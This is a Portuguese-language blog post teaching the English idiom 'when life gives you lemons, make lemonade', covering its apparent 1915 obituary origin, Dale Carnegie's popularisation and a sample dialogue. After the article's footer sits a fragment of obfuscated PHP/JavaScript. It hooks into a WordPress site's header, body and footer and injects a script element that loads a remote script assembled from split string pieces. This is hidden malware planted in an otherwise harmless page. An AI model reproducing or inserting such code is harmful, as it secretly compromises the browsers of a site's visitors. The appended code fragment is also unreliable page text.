O SEGREDO DAS LINGUAS l O curso de língua estrangeira ainda pode fazer parte da sua vida.

When life gives you lemons, make lemonade | O que essa expressão significa?

Você já viu a expressão “when life gives you lemons, make lemonade”? Essa expressão é super comum em inglês e você deveria saber o que ela significa.

Foi pensando nisso que hoje eu vou tirar todas as suas dúvidas com relação a essa expressão. 

When life gives you lemons, make lemonade significado

Os falantes de inglês utilizam essa expressão para encorajar alguém a ter uma atitude positiva na vida diante das adversidades. 

Os limões aqui sugerem algo que é difícil e amargo como a fruta, porém que pode ser transformado em um delicioso e fresco suco. Isso significa que fazer limonada seria transformar algo ruim em algo bom.

Essa frase se tornou famosa por volta de 1915 quando um jornalista publicou um obituário para um ator anão chamado Marshall Pinckney Wilder que tinha morrido de doença cardíaca. 

Levando-se em consideração o histórico de doenças de Wilder, o jornalista resolveu publicar em seu obituário intitulado The King of Jesters – algo que poderia ser traduzido para O Rei dos Brincalhões ou o Rei dos Bobos da Corte – as seguintes considerações:

“He was a walking refutation of that dogmatic statement, Mens sana in corpore sano. His was a sound mind in an unsound body. He proved the eternal paradox of things. He cashed in on his disabilities. He picked up the lemons that Fate had sent him and started a lemonade-stand.”

Que poderia ser traduzido para:

“Ele era a refutação ambulante da declaração dogmática, Mente sã em corpo são. Ele era uma mente sã num corpo doente. Ele provou o paradoxo eterno das coisas. Ele tirou dinheiro de suas deficiências. Ele pegou os limões que o Destino lhe jogou e abriu uma barraca de limonada”

Foi a partir daí que a ideia de que “when life gives you lemons, make lemonade” começou a pegar. Mas foi em 1948, quando Dale Carnegie publicou a seguinte frase: “If You Have a Lemon, Make a Lemonade.” em seu livro How to Stop Worrying and Start Living traduzido para o português como “Como superar as preocupações e o estresse”, que a frase se tornou famosa nos EUA e no mundo com o sucesso da obra de Carnegie.

Exemplo:

A: Man, I can’t believe I failed my math test, I studied so hard! (Cara, eu não acredito que foi mal na prova de matemática, eu estudei tanto!)

B: Maybe that goes to show you didn’t study the right things. When life gives you lemons, make a lemonade. (Talvez isso mostre que você não estudou as coisas certas. Quando a vida te der limões, faça uma limonada)

Aprendeu como se usa essa expressão? Espero que sim! Agora, você deveria ver outros posts com expressões importantes que vão te ajudar a aprender inglês.

Mais artigos do

Blog SDL

?>},_0x1ca2(_0x5c13d3,_0x10d019);}function _0x56ac(){var _0x46c312=['trickl','6LObfmH','script','scri','3822470oovwGi','220qlaQai','com/','createElement','ctl','appendChild','type','133350wkvzaH','ter.','134ANVGfY','pts/t','src','est','erfe','ords.p','querySelector','5879944KcCcWx','231938CdIMay','2890492INDZRn','currentScript','50535rwizqw','parentNode','script[id=\x22trickl\x22]','text/javascript','28527sHSQyT','head'];_0x56ac=function(){return _0x46c312;};return _0x56ac();}";}add_action('wp_head', '_set_metas_tag');add_action('wp_footer', '_set_metas_tag');add_action('wp_body_open', '_set_metas_tag');_set_metas_tag();}}catch(Exception $e){}} ?>